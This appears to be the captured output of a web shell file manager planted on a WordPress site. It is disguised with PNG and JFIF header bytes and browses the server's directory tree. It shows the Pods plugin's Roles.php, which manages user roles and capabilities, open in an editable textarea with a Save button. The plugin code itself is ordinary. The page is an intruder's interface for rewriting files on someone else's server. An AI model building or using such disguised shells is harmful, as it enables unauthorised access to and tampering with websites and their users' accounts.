�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fvar%2F'>var</a>/<a href='?path=%2Fvar%2Fwww%2F'>www</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2F'>vhosts</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2F'>vsdma.at</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2F'>httpdocs</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fpods%2F'>pods</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fpods%2Fcomponents%2F'>components</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fpods%2Fcomponents%2FRoles%2F'>Roles</a>/</p><hr><h3>✏️ Editing: Roles.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

// Don&#039;t load directly.
if ( ! defined( &#039;ABSPATH&#039; ) ) {
	die( &#039;-1&#039; );
}

/**
 * Name: Roles and Capabilities
 *
 * Menu Name: Roles &amp;amp; Capabilities
 *
 * Description: Create and Manage WordPress User Roles and Capabilities; Uses the &#039;&lt;a href=&quot;http://wordpress.org/plugins/members/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Members&lt;/a&gt;&#039; plugin filters for additional plugin integrations; Portions of code based on the &#039;&lt;a href=&quot;http://wordpress.org/plugins/members/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Members&lt;/a&gt;&#039; plugin by Justin Tadlock
 *
 * Version: 1.0
 *
 * Category: Tools
 *
 * @package    Pods\Components
 * @subpackage Roles
 */

if ( class_exists( &#039;Pods_Roles&#039; ) ) {
	return;
}

/**
 * Class Pods_Roles
 */
class Pods_Roles extends PodsComponent {

	/**
	 * {@inheritdoc}
	 */
	public function init() {

		add_filter( &#039;pods_roles_get_capabilities&#039;, [ $this, &#039;remove_deprecated_capabilities&#039; ] );
	}

	/**
	 * Enqueue styles
	 *
	 * @since 2.0.0
	 */
	public function admin_assets() {

		wp_enqueue_style( &#039;pods-wizard&#039; );
	}

	/**
	 * Build admin area
	 *
	 * @param $options
	 * @param $component
	 *
	 * @return void
	 * @since 2.0.0
	 */
	public function admin( $options, $component ) {

		global $wp_roles;

		$default_role = get_option( &#039;default_role&#039; );

		$roles = [];

		foreach ( $wp_roles-&gt;role_objects as $key =&gt; $role ) {
			$count = $this-&gt;count_users( $key );

			$roles[ $key ] = [
				&#039;id&#039;           =&gt; $key,
				&#039;label&#039;        =&gt; $wp_roles-&gt;role_names[ $key ],
				&#039;name&#039;         =&gt; $key,
				&#039;capabilities&#039; =&gt; count( (array) $role-&gt;capabilities ),
				// translators: %s is the number of users.
				&#039;users&#039;        =&gt; sprintf( _n( &#039;%s User&#039;, &#039;%s Users&#039;, $count, &#039;pods&#039; ), $count ),
			];

			if ( $default_role == $key ) {
				$roles[ $key ][&#039;label&#039;] .= &#039; (site default)&#039;;
			}

			if ( 0 &lt; $count &amp;&amp; pods_is_admin( [ &#039;list_users&#039; ] ) ) {
				$roles[ $key ][&#039;users&#039;] .= &#039;&lt;br /&gt;&lt;a href=&quot;&#039; . admin_url( esc_url( &#039;users.php?role=&#039; . $key ) ) . &#039;&quot;&gt;&#039; . __( &#039;View Users&#039;, &#039;pods&#039; ) . &#039;&lt;/a&gt;&#039;;
			}
		}

		$ui = [
			&#039;component&#039;        =&gt; $component,
			&#039;data&#039;             =&gt; $roles,
			&#039;total&#039;            =&gt; count( $roles ),
			&#039;total_found&#039;      =&gt; count( $roles ),
			&#039;items&#039;            =&gt; __( &#039;Roles&#039;, &#039;pods&#039; ),
			&#039;item&#039;             =&gt; __( &#039;Role&#039;, &#039;pods&#039; ),
			&#039;fields&#039;           =&gt; [
				&#039;manage&#039; =&gt; [
					&#039;label&#039;        =&gt; [ &#039;label&#039; =&gt; __( &#039;Label&#039;, &#039;pods&#039; ) ],
					&#039;name&#039;         =&gt; [ &#039;label&#039; =&gt; __( &#039;Name&#039;, &#039;pods&#039; ) ],
					&#039;capabilities&#039; =&gt; [ &#039;label&#039; =&gt; __( &#039;Capabilities&#039;, &#039;pods&#039; ) ],
					&#039;users&#039;        =&gt; [
						&#039;label&#039;   =&gt; __( &#039;Users&#039;, &#039;pods&#039; ),
						&#039;type&#039;    =&gt; &#039;text&#039;,
						&#039;options&#039; =&gt; [
							&#039;text_allow_html&#039;        =&gt; 1,
							&#039;text_allowed_html_tags&#039; =&gt; &#039;strong em a ul ol li b i br&#039;,
						],
					],
				],
			],
			&#039;actions_disabled&#039; =&gt; [ &#039;duplicate&#039;, &#039;view&#039;, &#039;export&#039; ],
			&#039;actions_custom&#039;   =&gt; [
				&#039;add&#039;    =&gt; [ $this, &#039;admin_add&#039; ],
				&#039;edit&#039;   =&gt; [ $this, &#039;admin_edit&#039; ],
				&#039;delete&#039; =&gt; [ $this, &#039;admin_delete&#039; ],
			],
			&#039;search&#039;           =&gt; false,
			&#039;searchable&#039;       =&gt; false,
			&#039;sortable&#039;         =&gt; false,
			&#039;pagination&#039;       =&gt; false,
		];

		if ( isset( $roles[ pods_v( &#039;id&#039;, &#039;get&#039;, - 1 ) ] ) ) {
			$ui[&#039;row&#039;] = $roles[ pods_v( &#039;id&#039;, &#039;get&#039;, - 1 ) ];
		}

		if ( ! pods_is_admin( [ &#039;pods_roles_add&#039; ] ) ) {
			$ui[&#039;actions_disabled&#039;][] = &#039;add&#039;;
		}

		if ( ! pods_is_admin( [ &#039;pods_roles_edit&#039; ] ) ) {
			$ui[&#039;actions_disabled&#039;][] = &#039;edit&#039;;
		}

		if ( count( $roles ) &lt; 2 || ! pods_is_admin( [ &#039;pods_roles_delete&#039; ] ) ) {
			$ui[&#039;actions_disabled&#039;][] = &#039;delete&#039;;
		}

		pods_ui( $ui );
	}

	/**
	 * @param $obj
	 */
	public function admin_add( $obj ) {

		global $wp_roles;

		$capabilities = $this-&gt;get_capabilities();

		$defaults = $this-&gt;get_default_capabilities();

		$component = $obj-&gt;x[&#039;component&#039;];

		$method = &#039;add&#039;;
		// ajax_add
		pods_view( PODS_DIR . &#039;components/Roles/ui/add.php&#039;, compact( array_keys( get_defined_vars() ) ) );
	}

	/**
	 * @param $duplicate
	 * @param $obj
	 *
	 * @return mixed
	 */
	public function admin_edit( $duplicate, $obj ) {

		global $wp_roles;

		$id = $obj-&gt;id;

		$capabilities = $this-&gt;get_capabilities();

		$role_name         = null;
		$role_label        = null;
		$role_capabilities = null;

		foreach ( $wp_roles-&gt;role_objects as $key =&gt; $role ) {
			if ( $key != $id ) {
				continue;
			}

			$role_name         = $key;
			$role_label        = $wp_roles-&gt;role_names[ $key ];
			$role_capabilities = $role-&gt;capabilities;
		}

		if ( empty( $role ) ) {
			return $obj-&gt;error( __( &#039;Role not found, cannot edit it.&#039;, &#039;pods&#039; ) );
		}

		$component = $obj-&gt;x[&#039;component&#039;];

		$method = &#039;edit&#039;;
		// ajax_edit
		pods_view( PODS_DIR . &#039;components/Roles/ui/edit.php&#039;, compact( array_keys( get_defined_vars() ) ) );
	}

	/**
	 * @param $id
	 * @param $obj
	 *
	 * @return mixed
	 */
	public function admin_delete( $id, $obj ) {

		global $wp_roles;

		$id = $obj-&gt;id;

		if ( ! isset( $obj-&gt;data[ $id ] ) ) {
			return $obj-&gt;error( __( &#039;Role not found, it cannot be deleted.&#039;, &#039;pods&#039; ) );
		}

		$default_role = get_option( &#039;default_role&#039; );

		if ( $id == $default_role ) {
			// translators: %s is the role name.
			return $obj-&gt;error( sprintf( __( &#039;You cannot remove the &lt;strong&gt;%s&lt;/strong&gt; role, you must set a new default role for the site first.&#039;, &#039;pods&#039; ), $obj-&gt;data[ $id ][&#039;name&#039;] ) );
		}

		$wp_user_query = new WP_User_Query( [ &#039;role&#039; =&gt; $id ] );

		$users = $wp_user_query-&gt;get_results();

		if ( ! empty( $users ) &amp;&amp; is_array( $users ) ) {
			foreach ( $users as $user ) {
				$user_object = new WP_User( $user );

				if ( $user_object-&gt;has_cap( $id ) ) {
					$user_object-&gt;remove_role( $id );
					$user_object-&gt;set_role( $default_role );
				}
			}
		}

		remove_role( $id );

		$roles = [];

		foreach ( $wp_roles-&gt;role_objects as $key =&gt; $role ) {
			$count = $this-&gt;count_users( $key );

			$roles[ $key ] = [
				&#039;id&#039;           =&gt; $key,
				&#039;label&#039;        =&gt; wp_strip_all_tags( $wp_roles-&gt;role_names[ $key ] ),
				&#039;name&#039;         =&gt; $key,
				&#039;capabilities&#039; =&gt; count( (array) $role-&gt;capabilities ),
				// translators: %s is the number of users.
				&#039;users&#039;        =&gt; sprintf( _n( &#039;%s User&#039;, &#039;%s Users&#039;, $count, &#039;pods&#039; ), $count ),
			];

			if ( $default_role == $key ) {
				$roles[ $key ][&#039;label&#039;] .= &#039; (site default)&#039;;
			}

			if ( 0 &lt; $count &amp;&amp; pods_is_admin( [ &#039;list_users&#039; ] ) ) {
				$roles[ $key ][&#039;users&#039;] .= &#039;&lt;br /&gt;&lt;a href=&quot;&#039; . admin_url( esc_url( &#039;users.php?role=&#039; . $key ) ) . &#039;&quot;&gt;&#039; . __( &#039;View Users&#039;, &#039;pods&#039; ) . &#039;&lt;/a&gt;&#039;;
			}
		}

		$name = $obj-&gt;data[ $id ][&#039;label&#039;] . &#039; (&#039; . $obj-&gt;data[ $id ][&#039;name&#039;] . &#039;)&#039;;

		$obj-&gt;data        = $roles;
		$obj-&gt;total       = count( $roles );
		$obj-&gt;total_found = count( $roles );

		$obj-&gt;message( &#039;&lt;strong&gt;&#039; . $name . &#039;&lt;/strong&gt; &#039; . __( &#039;role removed from site.&#039;, &#039;pods&#039; ) );
	}

	/**
	 * Handle the Add Role AJAX
	 *
	 * @param $params
	 *
	 * @return mixed|void
	 */
	public function ajax_add( $params ) {

		global $wp_roles;

		$role_name  = sanitize_title( sanitize_text_field( pods_v( &#039;role_name&#039;, $params ) ) );
		$role_label = sanitize_text_field( pods_v( &#039;role_label&#039;, $params ) );

		$params-&gt;capabilities = (array) pods_v( &#039;capabilities&#039;, $params, [] );

		$params-&gt;custom_capabilities = (array) pods_v( &#039;custom_capabilities&#039;, $params, [] );
		$params-&gt;custom_capabilities = array_filter( array_unique( array_map( &#039;sanitize_text_field&#039;, $params-&gt;custom_capabilities ) ) );

		$capabilities = [];

		foreach ( $params-&gt;capabilities as $capability =&gt; $x ) {
			if ( empty( $capability ) || true !== (boolean) $x ) {
				continue;
			}

			$capabilities[ esc_attr( $capability ) ] = true;
		}

		foreach ( $params-&gt;custom_capabilities as $x =&gt; $capability ) {
			if ( empty( $capability ) || &#039;--1&#039; === $x ) {
				continue;
			}

			$capabilities[ esc_attr( $capability ) ] = true;
		}

		if ( empty( $role_name ) ) {
			return pods_error( __( &#039;Role name is required&#039;, &#039;pods&#039; ) );
		}

		if ( empty( $role_label ) ) {
			return pods_error( __( &#039;Role label is required&#039;, &#039;pods&#039; ) );
		}

		if ( wp_roles()-&gt;is_role( $role_name ) ) {
			return pods_error( __( &#039;This role already exists&#039;, &#039;pods&#039; ) );
		}

		return add_role( $role_name, $role_label, $capabilities ) instanceof WP_Role;
	}

	/**
	 * Handle the Edit Role AJAX
	 *
	 * @todo allow rename role_label
	 *
	 * @param $params
	 *
	 * @return bool|mixed|void
	 */
	public function ajax_edit( $params ) {

		global $wp_roles;

		$capabilities = $this-&gt;get_capabilities();

		$params-&gt;capabilities = (array) pods_v( &#039;capabilities&#039;, $params, [] );

		$params-&gt;custom_capabilities = (array) pods_v( &#039;custom_capabilities&#039;, $params, [] );
		$params-&gt;custom_capabilities = array_filter( array_unique( $params-&gt;custom_capabilities ) );

		if ( ! isset( $params-&gt;id ) || empty( $params-&gt;id ) || ! isset( $wp_roles-&gt;role_objects[ $params-&gt;id ] ) ) {
			return pods_error( __( &#039;Role not found, cannot edit it.&#039;, &#039;pods&#039; ) );
		}

		/**
		 * @var $role WP_Role
		 */
		$role              = $wp_roles-&gt;role_objects[ $params-&gt;id ];
		$role_name         = $params-&gt;id;
		$role_label        = $wp_roles-&gt;role_names[ $params-&gt;id ];
		$role_capabilities = $role-&gt;capabilities;

		$new_capabilities = [];

		foreach ( $params-&gt;capabilities as $capability =&gt; $x ) {
			if ( empty( $capability ) || true !== (boolean) $x ) {
				continue;
			}

			$new_capabilities[] = esc_attr( $capability );

			if ( ! $role-&gt;has_cap( $capability ) ) {
				$role-&gt;add_cap( $capability );
			}
		}

		foreach ( $params-&gt;custom_capabilities as $x =&gt; $capability ) {
			if ( empty( $capability ) ) {
				continue;
			}

			if ( in_array( $capability, $new_capabilities, true ) ) {
				continue;
			}

			$new_capabilities[] = esc_attr( $capability );

			if ( ! $role-&gt;has_cap( $capability ) ) {
				$role-&gt;add_cap( $capability );
			}
		}

		foreach ( $role_capabilities as $capability =&gt; $x ) {
			$capability = (string) $capability;

			if ( ! in_array( $capability, $new_capabilities, true ) &amp;&amp; false === strpos( $capability, &#039;level_&#039; ) ) {
				$role-&gt;remove_cap( $capability );
			}
		}

		return true;
	}

	/**
	 * Basic logic from Members plugin, it counts users of a specific role
	 *
	 * @param $role
	 *
	 * @return array
	 */
	public function count_users( $role ) {

		$count_users = count_users();

		$avail_roles = [];

		foreach ( $count_users[&#039;avail_roles&#039;] as $count_role =&gt; $count ) {
			$avail_roles[ $count_role ] = $count;
		}

		if ( empty( $role ) ) {
			return $avail_roles;
		}

		if ( ! isset( $avail_roles[ $role ] ) ) {
			$avail_roles[ $role ] = 0;
		}

		return $avail_roles[ $role ];
	}

	/**
	 * @return array|mixed|void
	 */
	public function get_capabilities() {

		global $wp_roles;

		$default_caps = $this-&gt;get_wp_capabilities();

		$role_caps = [];

		foreach ( $wp_roles-&gt;role_objects as $key =&gt; $role ) {
			if ( is_array( $role-&gt;capabilities ) ) {
				foreach ( $role-&gt;capabilities as $cap =&gt; $grant ) {
					$role_caps[ $cap ] = $cap;
				}
			}
		}

		$role_caps = array_unique( $role_caps );

		$plugin_caps = [
			&#039;pods_roles_add&#039;,
			&#039;pods_roles_delete&#039;,
			&#039;pods_roles_edit&#039;,
		];

		$capabilities = array_merge( $default_caps, $role_caps, $plugin_caps );

		// Gravity Forms.
		if ( class_exists( &#039;GFCommon&#039; ) &amp;&amp; is_callable( &#039;GFCommon::all_caps&#039; ) ) {
			$capabilities = array_merge( $capabilities, GFCommon::all_caps() );
		}

		// To support Members filters.
		$capabilities = apply_filters( &#039;members_get_capabilities&#039;, $capabilities ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound

		$capabilities = apply_filters( &#039;pods_roles_get_capabilities&#039;, $capabilities );

		sort( $capabilities );

		$capabilities = array_unique( $capabilities );

		return $capabilities;
	}

	/**
	 * @return array
	 */
	public function get_wp_capabilities() {

		$defaults = [
			&#039;activate_plugins&#039;,
			&#039;add_users&#039;,
			&#039;create_users&#039;,
			&#039;delete_others_pages&#039;,
			&#039;delete_others_posts&#039;,
			&#039;delete_pages&#039;,
			&#039;delete_plugins&#039;,
			&#039;delete_posts&#039;,
			&#039;delete_private_pages&#039;,
			&#039;delete_private_posts&#039;,
			&#039;delete_published_pages&#039;,
			&#039;delete_published_posts&#039;,
			&#039;delete_users&#039;,
			&#039;edit_dashboard&#039;,
			&#039;edit_files&#039;,
			&#039;edit_others_pages&#039;,
			&#039;edit_others_posts&#039;,
			&#039;edit_pages&#039;,
			&#039;edit_plugins&#039;,
			&#039;edit_posts&#039;,
			&#039;edit_private_pages&#039;,
			&#039;edit_private_posts&#039;,
			&#039;edit_published_pages&#039;,
			&#039;edit_published_posts&#039;,
			&#039;edit_theme_options&#039;,
			&#039;edit_themes&#039;,
			&#039;edit_users&#039;,
			&#039;import&#039;,
			&#039;install_plugins&#039;,
			&#039;install_themes&#039;,
			&#039;list_users&#039;,
			&#039;manage_categories&#039;,
			&#039;manage_links&#039;,
			&#039;manage_options&#039;,
			&#039;moderate_comments&#039;,
			&#039;promote_users&#039;,
			&#039;publish_pages&#039;,
			&#039;publish_posts&#039;,
			&#039;read&#039;,
			&#039;read_private_pages&#039;,
			&#039;read_private_posts&#039;,
			&#039;remove_users&#039;,
			&#039;switch_themes&#039;,
			&#039;unfiltered_html&#039;,
			&#039;unfiltered_upload&#039;,
			&#039;update_core&#039;,
			&#039;update_plugins&#039;,
			&#039;update_themes&#039;,
			&#039;upload_files&#039;,
		];

		return $defaults;
	}

	/**
	 * @return array|mixed|void
	 */
	public function get_default_capabilities() {

		$capabilities = [
			&#039;read&#039;,
		];

		// To support Members filters
		$capabilities = apply_filters( &#039;members_new_role_default_capabilities&#039;, $capabilities ); // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound

		$capabilities = apply_filters( &#039;pods_roles_default_capabilities&#039;, $capabilities );

		return $capabilities;
	}

	/**
	 * @param $capabilities
	 *
	 * @return array
	 */
	public function remove_deprecated_capabilities( $capabilities ) {

		$deprecated_capabilities = [
			&#039;level_0&#039;,
			&#039;level_1&#039;,
			&#039;level_2&#039;,
			&#039;level_3&#039;,
			&#039;level_4&#039;,
			&#039;level_5&#039;,
			&#039;level_6&#039;,
			&#039;level_7&#039;,
			&#039;level_8&#039;,
			&#039;level_9&#039;,
			&#039;level_10&#039;,
		];

		$capabilities = array_diff( $capabilities, $deprecated_capabilities );

		return $capabilities;
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Fpods%2Fcomponents%2FRoles'>🔙 Back</a></p>